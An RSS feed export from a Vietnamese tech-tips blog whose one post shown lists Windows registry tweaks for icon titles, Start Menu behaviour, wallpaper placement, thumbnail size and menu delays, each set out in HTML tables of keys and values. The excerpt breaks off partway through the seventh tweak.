<?xml version="1.0" encoding="UTF-8" standalone="no"?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><rss xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" version="2.0"><channel><title>Blog thủ thuật</title><description>Thủ thuật máy tính, thủ thuật phần mềm, phần cứng</description><managingEditor>noreply@blogger.com (Anonymous)</managingEditor><pubDate>Sat, 21 Sep 2024 08:04:27 +0700</pubDate><generator>Blogger http://www.blogger.com</generator><openSearch:totalResults xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/">38</openSearch:totalResults><openSearch:startIndex xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/">1</openSearch:startIndex><openSearch:itemsPerPage xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/">25</openSearch:itemsPerPage><link>http://blogthuthuatvn.blogspot.com/</link><language>en-us</language><itunes:explicit>no</itunes:explicit><itunes:subtitle>Thủ thuật máy tính, thủ thuật phần mềm, phần cứng</itunes:subtitle><itunes:owner><itunes:email>noreply@blogger.com</itunes:email></itunes:owner><item><title>Những thủ thuật tối ưu giao diện của Windows.</title><link>http://blogthuthuatvn.blogspot.com/2009/11/hien-thi-tieu-e-icon-ten-nhieu-dong.html</link><category>Thủ thuật Registry</category><author>noreply@blogger.com (Anonymous)</author><pubDate>Sun, 8 Nov 2009 17:59:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3429202090384957014.post-8520217659618006793</guid><description>&lt;div&gt;&lt;div&gt;&lt;strong&gt;1. Hiển thị tiêu đề Icon tên nhiều dòng.&lt;br /&gt;
&lt;/strong&gt;&lt;br /&gt;
Tìm đến khoá chỉ ra bên dưới trong Registry Editor, tạo mới một giá trị kiểu &lt;strong&gt;STRING&lt;/strong&gt; với tên "&lt;strong&gt;IconTitleWrap&lt;/strong&gt;" nếu nó chưa có và sửa dữ liệu cho nó thành 1 để hiển thị tên Icon trên nhiều dòng.&lt;br /&gt;
&lt;br /&gt;
&lt;div align="center"&gt;&lt;table border="1" bordercolor="#111111" cellpadding="0" cellspacing="0" height="102" id="AutoNumber12" style="border-collapse: collapse; width: 423px;"&gt;&lt;tbody&gt;
&lt;tr&gt;         &lt;td bgcolor="#336699" colspan="3" height="16" width="100%"&gt;&lt;span style="color: white; font-family: Verdana; font-size: xx-small;"&gt;&lt;b&gt;Minh họa trong Registry Editor&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/td&gt;       &lt;/tr&gt;
&lt;tr&gt;         &lt;td bgcolor="#d4d0c8" height="16" width="40%"&gt;&lt;span style="color: black; font-family: Verdana; font-size: xx-small;"&gt;&amp;nbsp;Name&lt;/span&gt;&lt;br /&gt;
&lt;/td&gt;         &lt;td bgcolor="#d4d0c8" height="16" width="30%"&gt;&lt;span style="color: black; font-family: Verdana; font-size: xx-small;"&gt;&amp;nbsp;Type&lt;/span&gt;&lt;br /&gt;
&lt;/td&gt;         &lt;td bgcolor="#d4d0c8" height="16" width="30%"&gt;&lt;span style="color: black; font-family: Verdana; font-size: xx-small;"&gt;&amp;nbsp;Data&lt;/span&gt;&lt;br /&gt;
&lt;/td&gt;       &lt;/tr&gt;
&lt;tr&gt;         &lt;td colspan="3" height="46" width="100%"&gt;&lt;table border="0" bordercolor="#111111" cellpadding="0" cellspacing="0" id="AutoNumber13" style="border-collapse: collapse; width: 416px;"&gt;&lt;tbody&gt;
&lt;tr&gt;               &lt;td width="40%"&gt;&lt;img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiwkcjZr8k6kP0wRVKGoSVXGbzbpC2BR3Vxm_BugGiB-DYC5Dr2NrTGLFDp9qmhUI4M8G4Jww2rTaR7xXQw__Gf8njqLLJsJ7Og23D9eJUQdSCOwR32WminQa1iLVDwbPGDbK9PQrYWf4/s320/a.JPG" /&gt;(Default) &lt;br /&gt;
&lt;/td&gt;               &lt;td width="30%"&gt;&amp;nbsp;REG_SZ &lt;br /&gt;
&lt;/td&gt;               &lt;td width="30%"&gt;&amp;nbsp;(not set  value) &lt;br /&gt;
&lt;/td&gt;             &lt;/tr&gt;
&lt;tr&gt;               &lt;td width="40%"&gt;&lt;img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiwkcjZr8k6kP0wRVKGoSVXGbzbpC2BR3Vxm_BugGiB-DYC5Dr2NrTGLFDp9qmhUI4M8G4Jww2rTaR7xXQw__Gf8njqLLJsJ7Og23D9eJUQdSCOwR32WminQa1iLVDwbPGDbK9PQrYWf4/s320/a.JPG" /&gt;IconTitleWrap &lt;br /&gt;
&lt;/td&gt;               &lt;td width="30%"&gt;REG_SZ &lt;br /&gt;
&lt;/td&gt;               &lt;td width="30%"&gt;1 &lt;br /&gt;
&lt;/td&gt;             &lt;/tr&gt;
&lt;/tbody&gt;         &lt;/table&gt;&lt;/td&gt;       &lt;/tr&gt;
&lt;tr&gt;         &lt;td bgcolor="#d4d0c8" colspan="3" height="21" width="100%"&gt;&lt;div align="justify"&gt;&lt;span style="color: black;"&gt;&lt;span style="font-family: Verdana; font-size: xx-small;"&gt;My Computer\ &lt;/span&gt;&lt;span style="font-family: Verdana; font-size: xx-small;"&gt;HKEY_CURRENT_USER\ Control  Panel\ Desktop\  WindowMetrics&lt;/span&gt;&lt;/span&gt; &lt;br /&gt;
&lt;/div&gt;&lt;/td&gt;       &lt;/tr&gt;
&lt;/tbody&gt;   &lt;/table&gt;&lt;/div&gt;&lt;strong&gt;User Key&lt;/strong&gt;: HKEY_CURRENT_USER\ Control Panel\ Desktop\ WindowMetrics &lt;strong&gt;Name&lt;/strong&gt;: IconTitleWrap &lt;strong&gt;Type&lt;/strong&gt;: REG_SZ &lt;strong&gt;Value&lt;/strong&gt;: 1 = Hiển thị trên tên Icon trên nhiều dòng, 0 = Hiển thị Icon trên một dòng &lt;br /&gt;
&lt;/div&gt;&lt;div&gt;&lt;strong&gt;2. Chuyển đổi chế độ dùng Start Menu.&lt;br /&gt;
&lt;/strong&gt;&lt;br /&gt;
Tìm đến khoá chỉ ra bên dưới trong Registry Editor, sửa khoá tên "IntelliMenus" thành "YES" nếu muốn hiện menu toàn bộ hệ thống, "NO" nếu muốn dùng menu cá nhân.&lt;br /&gt;
&lt;br /&gt;
&lt;div align="center"&gt;&lt;table border="1" bordercolor="#111111" cellpadding="0" cellspacing="0" id="AutoNumber" style="width: 423px;"&gt;&lt;tbody&gt;
&lt;tr&gt;               &lt;td bgcolor="#336699" colspan="3" width="100%"&gt;&lt;strong&gt;Minh họa trong Registry Editor&lt;/strong&gt;&lt;br /&gt;
&lt;/td&gt;             &lt;/tr&gt;
&lt;tr&gt;               &lt;td bgcolor="#d4d0c8" width="40%"&gt;&amp;nbsp;Name&lt;br /&gt;
&lt;/td&gt;               &lt;td bgcolor="#d4d0c8" width="30%"&gt;&amp;nbsp;Type&lt;br /&gt;
&lt;/td&gt;               &lt;td bgcolor="#d4d0c8" width="30%"&gt;&amp;nbsp;Data&lt;br /&gt;
&lt;/td&gt;             &lt;/tr&gt;
&lt;tr&gt;               &lt;td colspan="3" width="100%"&gt;&lt;table border="0" bordercolor="#111111" cellpadding="0" cellspacing="0" id="AutoNumber2" style="width: 416px;"&gt;&lt;tbody&gt;
&lt;tr&gt;                     &lt;td width="40%"&gt;&lt;img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiwkcjZr8k6kP0wRVKGoSVXGbzbpC2BR3Vxm_BugGiB-DYC5Dr2NrTGLFDp9qmhUI4M8G4Jww2rTaR7xXQw__Gf8njqLLJsJ7Og23D9eJUQdSCOwR32WminQa1iLVDwbPGDbK9PQrYWf4/s320/a.JPG" /&gt;(Default)&lt;br /&gt;
&lt;/td&gt;                     &lt;td width="31%"&gt;&amp;nbsp;REG_SZ&lt;br /&gt;
&lt;/td&gt;                     &lt;td width="29%"&gt;&amp;nbsp;(not set   value)&lt;br /&gt;
&lt;/td&gt;                   &lt;/tr&gt;
&lt;tr&gt;                     &lt;td width="40%"&gt;&lt;img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiwkcjZr8k6kP0wRVKGoSVXGbzbpC2BR3Vxm_BugGiB-DYC5Dr2NrTGLFDp9qmhUI4M8G4Jww2rTaR7xXQw__Gf8njqLLJsJ7Og23D9eJUQdSCOwR32WminQa1iLVDwbPGDbK9PQrYWf4/s320/a.JPG" /&gt;IntelliMenus&lt;br /&gt;
&lt;/td&gt;                     &lt;td width="31%"&gt;REG_SZ&lt;br /&gt;
&lt;/td&gt;                     &lt;td width="29%"&gt;NO&lt;br /&gt;
&lt;/td&gt;                   &lt;/tr&gt;
&lt;/tbody&gt;               &lt;/table&gt;&lt;/td&gt;             &lt;/tr&gt;
&lt;tr&gt;               &lt;td bgcolor="#d4d0c8" colspan="3" width="100%"&gt;&lt;div align="justify"&gt;My Computer\   HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\   Explorer\   Advanced&lt;br /&gt;
&lt;/div&gt;&lt;/td&gt;             &lt;/tr&gt;
&lt;/tbody&gt;       &lt;/table&gt;&lt;/div&gt;&lt;strong&gt;User Key:&lt;/strong&gt; HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\   Advanced&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Name:&lt;/strong&gt; IntelliMenus&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Type:&lt;/strong&gt; REG_SZ &lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Value:&lt;/strong&gt; Yes - dùng Start Menu tổng hợp, No - dùng Start Menu cá   nhân.&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;3. Chỉ định Wallpaper và cách hiển thị nó.&lt;br /&gt;
&lt;br /&gt;
Khi bạn dùng một hình ảnh làm Wallpaper trang trí cho Desktop, chúng sẽ được hiển thị dưới 1 trong 3 dạng sau: 1 Center tức chính giữa màn hình, Tiled tức kiểu lợp ngói - có thể dùng hình ban đầu phủ kín toàn màn hình bằng nhiều bản của hình đó, Stretched - tức kiểu trải đều hình ra khắp màn hình theo tỷ lệ. Hướng dẫn này giúp bạn chỉ định đường dẫn của file muốn làm Wallpaper và kiểu hiển thị của nó.&lt;br /&gt;
&lt;br /&gt;
Mở Registry Editor, tìm đến khóa chỉ ra bên dưới. Sửa giá trị "Wallpaper" với dữ liệu của nó là đường dẫn của tập tin hình ảnh mà bạn muốn dùng làm hình nền. Sửa giá trị "WallpaperStyle" với dữ liệu của nó là 1, 2 hoặc 3 để thể hiện kiểu trình bày hình trên Desktop theo ý bạn như giải thích ở trên. &lt;br /&gt;
&lt;br /&gt;
&lt;div align="center"&gt;&lt;table border="1" bordercolor="#111111" cellpadding="0" cellspacing="0" height="111" id="AutoNumber3" style="width: 466px;"&gt;&lt;tbody&gt;
&lt;tr&gt;         &lt;td bgcolor="#336699" colspan="3" height="16"&gt;&lt;strong&gt;Minh họa trong Registry Editor&lt;/strong&gt;&lt;br /&gt;
&lt;/td&gt;       &lt;/tr&gt;
&lt;tr&gt;         &lt;td bgcolor="#d4d0c8" height="16" width="28%"&gt;&amp;nbsp;Name&lt;br /&gt;
&lt;/td&gt;         &lt;td bgcolor="#d4d0c8" height="16" width="15%"&gt;&amp;nbsp;Type&lt;br /&gt;
&lt;/td&gt;         &lt;td bgcolor="#d4d0c8" height="16" width="57%"&gt;&amp;nbsp;Data&lt;br /&gt;
&lt;/td&gt;       &lt;/tr&gt;
&lt;tr&gt;         &lt;td colspan="3" height="46"&gt;&lt;table border="0" bordercolor="#111111" cellpadding="0" cellspacing="0" id="AutoNumber4" style="width: 460px;"&gt;&lt;tbody&gt;
&lt;tr&gt;               &lt;td width="28%"&gt;&lt;img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiwkcjZr8k6kP0wRVKGoSVXGbzbpC2BR3Vxm_BugGiB-DYC5Dr2NrTGLFDp9qmhUI4M8G4Jww2rTaR7xXQw__Gf8njqLLJsJ7Og23D9eJUQdSCOwR32WminQa1iLVDwbPGDbK9PQrYWf4/s320/a.JPG" /&gt;(Default)&lt;br /&gt;
&lt;/td&gt;               &lt;td width="15%"&gt;&amp;nbsp;REG_SZ&lt;br /&gt;
&lt;/td&gt;               &lt;td width="57%"&gt;&amp;nbsp;(not set   value)&lt;br /&gt;
&lt;/td&gt;             &lt;/tr&gt;
&lt;tr&gt;               &lt;td width="28%"&gt;&lt;img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiwkcjZr8k6kP0wRVKGoSVXGbzbpC2BR3Vxm_BugGiB-DYC5Dr2NrTGLFDp9qmhUI4M8G4Jww2rTaR7xXQw__Gf8njqLLJsJ7Og23D9eJUQdSCOwR32WminQa1iLVDwbPGDbK9PQrYWf4/s320/a.JPG" /&gt;Wallpaper&lt;br /&gt;
&lt;/td&gt;               &lt;td width="15%"&gt;REG_SZ&lt;br /&gt;
&lt;/td&gt;               &lt;td width="57%"&gt;C:\Windows\Web\WallPaper\Hanoi.bmp&lt;br /&gt;
&lt;/td&gt;             &lt;/tr&gt;
&lt;tr&gt;               &lt;td width="28%"&gt;&lt;img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiwkcjZr8k6kP0wRVKGoSVXGbzbpC2BR3Vxm_BugGiB-DYC5Dr2NrTGLFDp9qmhUI4M8G4Jww2rTaR7xXQw__Gf8njqLLJsJ7Og23D9eJUQdSCOwR32WminQa1iLVDwbPGDbK9PQrYWf4/s320/a.JPG" /&gt;WallpaperStyle&lt;br /&gt;
&lt;/td&gt;               &lt;td width="15%"&gt;REG_SZ&lt;br /&gt;
&lt;/td&gt;               &lt;td width="57%"&gt;2&lt;br /&gt;
&lt;/td&gt;             &lt;/tr&gt;
&lt;/tbody&gt;         &lt;/table&gt;&lt;/td&gt;       &lt;/tr&gt;
&lt;tr&gt;         &lt;td bgcolor="#d4d0c8" colspan="3" height="30"&gt;&lt;div align="justify"&gt;My Computer\ HKEY_CURRENT_USER\ Software\ Microsoft\   Windows\ CurrentVersion\ Policies\   System&lt;br /&gt;
&lt;/div&gt;&lt;/td&gt;       &lt;/tr&gt;
&lt;/tbody&gt;   &lt;/table&gt;&lt;/div&gt;&lt;strong&gt;User Key:&lt;/strong&gt; HKEY_CURRENT_USER\   Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ System&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Name:&lt;/strong&gt; Wallpaper, WallpaperStyle&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Type:&lt;/strong&gt; REG_SZ &lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;4. Thay đổi kích thước của hình thu nhỏ Thumbnail.&lt;br /&gt;
&lt;br /&gt;
Khi bạn chọn chế độ thu nhỏ Thumbnail các tập tin và thư mục đều thu nhỏ cùng một kích thước hoàn toàn bằng nhau. Kích thước này được lưu giữ trong Registry. Hướng dẫn này giúp bạn thay đổi chúng.&lt;br /&gt;
&lt;br /&gt;
Tìm đến khoá chỉ ra bên dưới trong Registry Editor. Giá trị "ThumbnailQuality" thể hiện chất lượng của hình thu nhỏ so với hình thật. Mặc định là 90%, bạn có thể sửa chúng lại trong phạm vi cho phép&amp;nbsp;từ&amp;nbsp;50% - 100%. Giá trị "ThumbnailSize" thể hiện số pixel của hình thu nhỏ, tất cả các Thumbnail đều là hình. Mặc định là hình vuông 96 pixel. &lt;br /&gt;
&lt;br /&gt;
&lt;div align="center"&gt;&lt;table border="1" bordercolor="#111111" cellpadding="0" cellspacing="0" id="AutoNumber5" style="width: 469px;"&gt;&lt;tbody&gt;
&lt;tr&gt;           &lt;td bgcolor="#336699" colspan="3" width="100%"&gt;&lt;strong&gt;Minh họa trong Registry Editor&lt;/strong&gt;&lt;br /&gt;
&lt;/td&gt;         &lt;/tr&gt;
&lt;tr&gt;           &lt;td bgcolor="#d4d0c8" width="40%"&gt;&amp;nbsp;Name&lt;br /&gt;
&lt;/td&gt;           &lt;td bgcolor="#d4d0c8" width="30%"&gt;&amp;nbsp;Type&lt;br /&gt;
&lt;/td&gt;           &lt;td bgcolor="#d4d0c8" width="30%"&gt;&amp;nbsp;Data&lt;br /&gt;
&lt;/td&gt;         &lt;/tr&gt;
&lt;tr&gt;           &lt;td colspan="3" width="100%"&gt;&lt;table border="0" bordercolor="#111111" cellpadding="0" cellspacing="0" id="AutoNumber6"&gt;&lt;tbody&gt;
&lt;tr&gt;                 &lt;td width="38%"&gt;&lt;img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiwkcjZr8k6kP0wRVKGoSVXGbzbpC2BR3Vxm_BugGiB-DYC5Dr2NrTGLFDp9qmhUI4M8G4Jww2rTaR7xXQw__Gf8njqLLJsJ7Og23D9eJUQdSCOwR32WminQa1iLVDwbPGDbK9PQrYWf4/s320/a.JPG" /&gt;(Default)&lt;br /&gt;
&lt;/td&gt;                 &lt;td width="31%"&gt;&amp;nbsp;REG_SZ&lt;br /&gt;
&lt;/td&gt;                 &lt;td width="31%"&gt;&amp;nbsp;(not set   value)&lt;br /&gt;
&lt;/td&gt;               &lt;/tr&gt;
&lt;tr&gt;                 &lt;td width="38%"&gt;&lt;img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiwkcjZr8k6kP0wRVKGoSVXGbzbpC2BR3Vxm_BugGiB-DYC5Dr2NrTGLFDp9qmhUI4M8G4Jww2rTaR7xXQw__Gf8njqLLJsJ7Og23D9eJUQdSCOwR32WminQa1iLVDwbPGDbK9PQrYWf4/s320/a.JPG" /&gt;ThumbnailQuality&lt;br /&gt;
&lt;/td&gt;                 &lt;td width="31%"&gt;REG_DWORD&lt;br /&gt;
&lt;/td&gt;                 &lt;td width="31%"&gt;0x0000005a   (90)&lt;br /&gt;
&lt;/td&gt;               &lt;/tr&gt;
&lt;tr&gt;                 &lt;td width="38%"&gt;&lt;img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiwkcjZr8k6kP0wRVKGoSVXGbzbpC2BR3Vxm_BugGiB-DYC5Dr2NrTGLFDp9qmhUI4M8G4Jww2rTaR7xXQw__Gf8njqLLJsJ7Og23D9eJUQdSCOwR32WminQa1iLVDwbPGDbK9PQrYWf4/s320/a.JPG" /&gt;ThumbnailSize&lt;br /&gt;
&lt;/td&gt;                 &lt;td width="31%"&gt;REG_DWORD&lt;br /&gt;
&lt;/td&gt;                 &lt;td width="31%"&gt;0x00000060   (96)&lt;br /&gt;
&lt;/td&gt;               &lt;/tr&gt;
&lt;/tbody&gt;           &lt;/table&gt;&lt;/td&gt;         &lt;/tr&gt;
&lt;tr&gt;           &lt;td bgcolor="#d4d0c8" colspan="3" width="100%"&gt;&lt;div align="justify"&gt;My Computer\   HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\   Explorer&lt;br /&gt;
&lt;/div&gt;&lt;/td&gt;         &lt;/tr&gt;
&lt;/tbody&gt;     &lt;/table&gt;&lt;/div&gt;&lt;strong&gt;User Key:&lt;/strong&gt; HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\   Explorer&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Name:&lt;/strong&gt; ThumbnailSize, ThumbnailQuality&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Type:&lt;/strong&gt; REG_DWORD &lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Value:&lt;/strong&gt; Số pixel cho Thumbnail, Số % chất lượng cho   ThumbnailQuality&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;5. Tăng tốc cho Start Menu.&lt;br /&gt;
&lt;br /&gt;
Mặc định khi ta di chuyển chuột trên Start Menu nếu có menu con mà bạn không click vào nó thì phải đợi gần nữa giây sau nó mới hiện ra các menu con đó. Hướng dẫn này giúp bạn tăng tốc menu. Chỉ cần di chuyển chuột đến đâu là menu con sổ ra ngay tới đó.&lt;br /&gt;
&lt;br /&gt;
Tỉm đến khoá chỉ ra bên dưới trong Registry Editor, sửa dữ liệu cho giá trị "MenuShowDelay" thành 0 là menu con sẽ bung ra nhanh nhất. Và thành "999" để sau 1 giây hoặc phải click vào mũi tên thì menu con mới hiện ra. &lt;br /&gt;
&lt;br /&gt;
&lt;div align="center"&gt;&lt;table border="1" bordercolor="#111111" cellpadding="0" cellspacing="0" id="AutoNumber7" style="width: 471px;"&gt;&lt;tbody&gt;
&lt;tr&gt;           &lt;td bgcolor="#336699" colspan="3"&gt;&lt;strong&gt;Minh họa trong Registry Editor&lt;/strong&gt;&lt;br /&gt;
&lt;/td&gt;         &lt;/tr&gt;
&lt;tr&gt;           &lt;td bgcolor="#d4d0c8" width="40%"&gt;&amp;nbsp;Name&lt;br /&gt;
&lt;/td&gt;           &lt;td bgcolor="#d4d0c8" width="32%"&gt;&amp;nbsp;Type&lt;br /&gt;
&lt;/td&gt;           &lt;td bgcolor="#d4d0c8" width="28%"&gt;&amp;nbsp;Data&lt;br /&gt;
&lt;/td&gt;         &lt;/tr&gt;
&lt;tr&gt;           &lt;td colspan="3"&gt;&lt;table border="0" bordercolor="#111111" cellpadding="0" cellspacing="0" id="AutoNumber8" style="width: 465px;"&gt;&lt;tbody&gt;
&lt;tr&gt;                 &lt;td width="40%"&gt;&lt;img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiwkcjZr8k6kP0wRVKGoSVXGbzbpC2BR3Vxm_BugGiB-DYC5Dr2NrTGLFDp9qmhUI4M8G4Jww2rTaR7xXQw__Gf8njqLLJsJ7Og23D9eJUQdSCOwR32WminQa1iLVDwbPGDbK9PQrYWf4/s320/a.JPG" /&gt;(Default)&lt;br /&gt;
&lt;/td&gt;                 &lt;td width="32%"&gt;&amp;nbsp;REG_SZ&lt;br /&gt;
&lt;/td&gt;                 &lt;td width="28%"&gt;&amp;nbsp;(not set   value)&lt;br /&gt;
&lt;/td&gt;               &lt;/tr&gt;
&lt;tr&gt;                 &lt;td width="40%"&gt;&lt;img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiwkcjZr8k6kP0wRVKGoSVXGbzbpC2BR3Vxm_BugGiB-DYC5Dr2NrTGLFDp9qmhUI4M8G4Jww2rTaR7xXQw__Gf8njqLLJsJ7Og23D9eJUQdSCOwR32WminQa1iLVDwbPGDbK9PQrYWf4/s320/a.JPG" /&gt;MenuShowDelay&lt;br /&gt;
&lt;/td&gt;                 &lt;td width="32%"&gt;REG_SZ&lt;br /&gt;
&lt;/td&gt;                 &lt;td width="28%"&gt;0&lt;br /&gt;
&lt;/td&gt;               &lt;/tr&gt;
&lt;/tbody&gt;           &lt;/table&gt;&lt;/td&gt;         &lt;/tr&gt;
&lt;tr&gt;           &lt;td bgcolor="#d4d0c8" colspan="3"&gt;My Computer\ HKEY_CURRENT_USER\ Control Panel\   Desktop&lt;br /&gt;
&lt;/td&gt;         &lt;/tr&gt;
&lt;/tbody&gt;     &lt;/table&gt;&lt;/div&gt;&lt;strong&gt;User Key:&lt;/strong&gt; HKEY_CURRENT_USER\ Control Panel\ Desktop&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Name:&lt;/strong&gt; MenuShowDelay&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Type:&lt;/strong&gt; REG_SZ &lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Value:&lt;/strong&gt; 0-999 - số mili giây đợi menu   con xuất hiện &lt;br /&gt;
&lt;/div&gt;&lt;div&gt;6.Thay đổi vị trí hiển thị của Wallpaper.&lt;br /&gt;
&lt;br /&gt;
Mặc định Windows không cho phép bạn chọn lựa vị trí cho các Wallpaper. Hướng dẫn này giúp bạn điều khiển Windows hiển thị Wallpaper tại bất kỳ nơi đâu bạn muốn.&lt;br /&gt;
&lt;br /&gt;
Tìm đến khoá chỉ ra bên dưới trong Registry Editor, tạo mới 2 giá trị kiểu String nếu nó chưa có với tên là "Wallpaperoriginx", "Wallpaperoriginy" . Gán dữ liệu cho&amp;nbsp;"Wallpaperoriginx" là vị trí toạ độ ngang, "Wallpaperoriginy" là vị trí toạ độ dọc cho wallpaper. &lt;br /&gt;
&lt;br /&gt;
&lt;div align="center"&gt;&lt;table border="1" bordercolor="#111111" cellpadding="0" cellspacing="0" id="AutoNumber9" style="width: 475px;"&gt;&lt;tbody&gt;
&lt;tr&gt;           &lt;td bgcolor="#336699" colspan="3"&gt;&lt;strong&gt;Minh họa trong Registry Editor&lt;/strong&gt;&lt;br /&gt;
&lt;/td&gt;         &lt;/tr&gt;
&lt;tr&gt;           &lt;td bgcolor="#d4d0c8" width="43%"&gt;&amp;nbsp;Name&lt;br /&gt;
&lt;/td&gt;           &lt;td bgcolor="#d4d0c8" width="28%"&gt;&amp;nbsp;Type&lt;br /&gt;
&lt;/td&gt;           &lt;td bgcolor="#d4d0c8" width="29%"&gt;&amp;nbsp;Data&lt;br /&gt;
&lt;/td&gt;         &lt;/tr&gt;
&lt;tr&gt;           &lt;td colspan="3"&gt;&lt;table border="0" bordercolor="#111111" cellpadding="0" cellspacing="0" id="AutoNumber10" style="width: 468px;"&gt;&lt;tbody&gt;
&lt;tr&gt;                 &lt;td width="44%"&gt;&lt;img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiwkcjZr8k6kP0wRVKGoSVXGbzbpC2BR3Vxm_BugGiB-DYC5Dr2NrTGLFDp9qmhUI4M8G4Jww2rTaR7xXQw__Gf8njqLLJsJ7Og23D9eJUQdSCOwR32WminQa1iLVDwbPGDbK9PQrYWf4/s320/a.JPG" /&gt;(Default)&lt;br /&gt;
&lt;/td&gt;                 &lt;td width="28%"&gt;&amp;nbsp;REG_SZ&lt;br /&gt;
&lt;/td&gt;                 &lt;td width="28%"&gt;&amp;nbsp;(not set   value)&lt;br /&gt;
&lt;/td&gt;               &lt;/tr&gt;
&lt;tr&gt;                 &lt;td width="44%"&gt;&lt;img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiwkcjZr8k6kP0wRVKGoSVXGbzbpC2BR3Vxm_BugGiB-DYC5Dr2NrTGLFDp9qmhUI4M8G4Jww2rTaR7xXQw__Gf8njqLLJsJ7Og23D9eJUQdSCOwR32WminQa1iLVDwbPGDbK9PQrYWf4/s320/a.JPG" /&gt;Wallpaperoriginx&lt;br /&gt;
&lt;/td&gt;                 &lt;td width="28%"&gt;REG_SZ&lt;br /&gt;
&lt;/td&gt;                 &lt;td width="28%"&gt;200&lt;br /&gt;
&lt;/td&gt;               &lt;/tr&gt;
&lt;tr&gt;                 &lt;td width="44%"&gt;&lt;img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiwkcjZr8k6kP0wRVKGoSVXGbzbpC2BR3Vxm_BugGiB-DYC5Dr2NrTGLFDp9qmhUI4M8G4Jww2rTaR7xXQw__Gf8njqLLJsJ7Og23D9eJUQdSCOwR32WminQa1iLVDwbPGDbK9PQrYWf4/s320/a.JPG" /&gt;Wallpaperoriginy&lt;br /&gt;
&lt;/td&gt;                 &lt;td width="28%"&gt;REG_SZ&lt;br /&gt;
&lt;/td&gt;                 &lt;td width="28%"&gt;100&lt;br /&gt;
&lt;/td&gt;               &lt;/tr&gt;
&lt;/tbody&gt;           &lt;/table&gt;&lt;/td&gt;         &lt;/tr&gt;
&lt;tr&gt;           &lt;td bgcolor="#d4d0c8" colspan="3"&gt;My Computer\ HKEY_CURRENT_USER\ Control Panel\   Desktop&lt;br /&gt;
&lt;/td&gt;         &lt;/tr&gt;
&lt;/tbody&gt;     &lt;/table&gt;&lt;/div&gt;&lt;strong&gt;User Key:&lt;/strong&gt; HKEY_CURRENT_USER\ Control Panel\ Desktop&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Name:&lt;/strong&gt; Wallpaperoriginx,   Wallpaperoriginy&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Type:&lt;/strong&gt; REG_SZ &lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Value:&lt;/strong&gt; Số pixel chỉ toạ   độ&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;7.Thay đổi kiểu sổ menu Context.&lt;br /&gt;
&lt;br /&gt;
Khi chúng ta nhấn chuột phải trên tất cả các Icon, hay bất kỳ đâu thì Windows đều sổ menu Context. Nếu chú ý kỹ bạn sẽ thấy menu luôn , luôn sổ bên phải so với vị trí của con trỏ chuột. Với hướng dẫn này bạn có thể chuyển menu sổ sang bên trái. &lt;br /&gt;
&lt;br /&gt;
Tìm đến khoá chỉ ra bên dưới, tạo mới một giá trị tên "MenuDropAlignment" nếu chưa có và sửa dữ liệu cho nó thành "0" để menu sổ bên trái, "1" để sổ bên phải.&lt;br /&gt;
&lt;br /&gt;
&lt;div align="center"&gt;&lt;table border="1" bordercolor="#111111" cellpadding="0" cellspacing="0" id="AutoNumber11" style="width: 478px;"&gt;&lt;tbody&gt;
&lt;tr&gt;           &lt;td bgcolor="#336699" colspan="3" width="100%"&gt;&lt;strong&gt;Minh họa trong Registry Editor&lt;/strong&gt;&lt;br /&gt;
&lt;/td&gt;         &lt;/tr&gt;
&lt;tr&gt;           &lt;td bgcolor="#d4d0c8" width="50%"&gt;&amp;nbsp;Name&lt;br /&gt;
&lt;/td&gt;           &lt;td bgcolor="#d4d0c8" width="33%"&gt;&amp;nbsp;Type&lt;br /&gt;
